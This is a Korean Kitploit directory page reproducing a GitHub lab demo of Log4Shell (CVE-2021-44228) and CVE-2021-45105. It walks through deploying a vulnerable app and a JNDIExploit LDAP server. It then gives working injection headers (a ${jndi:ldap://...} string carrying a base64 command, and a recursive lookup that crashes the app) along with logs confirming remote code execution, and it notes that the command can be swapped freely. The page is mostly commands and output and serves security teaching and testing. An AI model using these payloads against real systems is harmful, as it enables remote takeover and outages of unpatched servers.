Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Log4Shell-CVE-2021-44228-Demo — AWS를 이용한 Log4Shell 데모 | Kitploit
도구/GitHubGitHub/baboopan/log4shell-cve-2021-44228-demo
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationPayload DevelopmentLabs & Practice
GitHub
baboopan/log4shell-cve-2021-44228-demo

Log4Shell-CVE-2021-44228-Demo

AWS를 이용한 Log4Shell 데모

저장소 보기
2134년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Log4Shell(CVE-2021-44228) 데모

데모 시나리오

환경 설정

클라이언트

  • curl 명령줄로 HTTP 서버에 접근할 수 있는 모든 곳

log4j를 사용하는 HTTP 서버의 취약한 앱

  • Amazon Linux 2 (x86 기반) EC2 인스턴스 / CentOS Azure 가상 머신
root@kitploit:~
$ yum install docker -y
$ systemctl enable docker
$ systemctl start docker
$ docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
  • SSH 콘솔 출력 스프링 웹 서버

유해한 LDAP 서버로서의 JNDI 익스플로잇

  • Amazon Linux 2 (x86 기반) EC2 인스턴스
root@kitploit:~
$ yum install java-11-amazon-corretto.x86_64 -y
# Azure for java-1.7.0-openjdk-1.7.0.261-2.6.22.2.el7_8.x86_64
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# Indicate the service endpoint as the EC2 private ip from metadata
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -s http://169.254.169.254/latest/meta-data/local-ipv4) -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
  • CentOS Azure 가상 머신
root@kitploit:~
$ wget https://corretto.aws/downloads/latest/amazon-corretto-11-x64-linux-jdk.rpm
$ yum install amazon-corretto-11-x64-linux-jdk.rpm -y
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# Indicate the service endpoint as the private ip from metadata
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -sH Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/?api-version=2021-02-01" | awk -F '[:,"]' '{print $5}') -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
  • SSH 콘솔 출력 JNDI 익스플로잇

익스플로잇 흐름

정상 동작

클라이언트가 X-Api-Version 헤더를 올바르게 포함하여 요청을 보내면 서버는 Hello World!를 반환합니다. 그렇지 않으면 클라이언트는 잘못된 요청으로 400 HTTP 오류를 받게 됩니다.

  • 클라이언트
root@kitploit:~
$ curl SERVER_IP:8080 -H 'X-Api-Version: 1.1'
Hello, world!
$ curl SERVER_IP:8080
{"timestamp":"2021-12-22T02:44:43.103+00:00","status":400,"error":"Bad Request","path":"/"}

클라이언트 요청 정상

  • 서버 로그
root@kitploit:~
# Requests with the header properly
2021-12-22 02:44:40.920  INFO 1 --- [nio-8080-exec-3] HelloWorld                               : Received a request for API version 1
It's Hello from System.out.
# Reqeusts without the right input
2021-12-22 02:44:43.102  WARN 1 --- [nio-8080-exec-5] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]

서버 요청 정상

인젝션 공격 / CVE-2021-44228

이제 'X-Api-Version: ${jndi:ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' 헤더를 포함한 인젝션 요청을 보낼 것입니다. 이 요청은 CVE-2021-44228을 트리거하여 JNDI 조회를 실행해 LDAP에 접근하고 RCE를 수행하게 됩니다.

dG91Y2ggL3RtcC9wd25lZAo=}는 리눅스 명령줄 touch /tmp/pwned의 base64 인코딩입니다. RCE가 달성되면 취약한 앱에 파일이 생성됩니다.

https://www.base64encode.org/에서 base64 문자열을 교체하여 동작을 변경할 수도 있습니다.

  • 클라이언트
root@kitploit:~
# Send the request with injection
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Hello, world!

클라이언트 요청 인젝션

  • 서버 로그
root@kitploit:~
2021-12-22 03:04:07,042 http-nio-8080-exec-6 WARN Error looking up JNDI resource [ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitxM5KqZop9U cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo="'
...
...
# Receive the injection and redirect it to the JNDI Exploit Server we indicated in the request
2021-12-22 03:04:06.567  INFO 1 --- [nio-8080-exec-6] HelloWorld                               : Received a request for API version ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}

서버 익스플로잇

  • JNDI 익스플로잇
root@kitploit:~
# Get the LDAP Lookup from server vulnerable app
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned
# Send back the encoded string back to vulnerable app, let the app execute the command in base64
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://10.0.1.164:8888/ExploitxM5KqZop9U.class
[+] New HTTP Request From /10.0.1.200:33250  /ExploitxM5KqZop9U.class
[+] Receive ClassRequest: ExploitxM5KqZop9U.class
[+] Response Code: 200

JNDI 익스플로잇 LDAP

  • 서버의 취약한 앱에서 RCE 결과 확인
root@kitploit:~
# Get the Container ID of vulnerable app in Server
$ docker ps -a
CONTAINER ID   IMAGE            COMMAND                  CREATED             STATUS             PORTS                                       NAMES
a4b14c4adb6c   vulnerable-app   "java -jar /app/spri…"   About an hour ago   Up About an hour   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   vulnerable-app
# List the /tmp folder before the injection
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x    2 root     root            15 Dec 22 02:34 hsperfdata_root
drwx------    2 root     root             6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------    3 root     root            18 Dec 22 01:34 tomcat.8080.4816494392465116780
# Confirm the RCE achieved bt injection request
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x    2 root     root            15 Dec 22 02:34 hsperfdata_root
-rw-r--r--    1 root     root             0 Dec 22 03:04 pwned # RCE achieved
drwx------    2 root     root             6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------    3 root     root            18 Dec 22 01:34 tomcat.8080.4816494392465116780

서버 앱 해킹됨

인젝션 공격 / CVE-2021-45105

Log4j2 2.0-alpha1부터 2.16.0까지(2.12.3 제외)는 자체 참조 조회로 인한 제어되지 않은 재귀를 보호하지 않았습니다. 로깅 구성이 컨텍스트 조회와 함께 기본이 아닌 패턴 레이아웃을 사용하는 경우, 스레드 컨텍스트 맵(MDC) 입력 데이터를 제어하는 공격자는 재귀 조회를 포함하는 악성 입력 데이터를 구성하여 StackOverflowError를 발생시켜 프로세스를 종료시킬 수 있습니다. - Apache의 CVE-2021-45105 설명

이제 StrSubstitutor 클래스 ${${::-${::-$${::-j}}}}로 스레드 컨텍스트 맵을 입력하여 무한 재귀 오류로 인해 애플리케이션을 충돌시킬 수 있습니다.

  • 클라이언트
root@kitploit:~
# Send the request with injection
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
Hello, world!

클라이언트 요청 45105

  • 서버 로그
root@kitploit:~
2021-12-22 03:42:38,614 http-nio-8080-exec-2 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-$}}: :
...
...
    at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:748)

서버 오류 무한 루프

참고

  • christophetd/log4shell-vulnerable-app
  • Mr-xn/JNDIExploit
도구 다운로드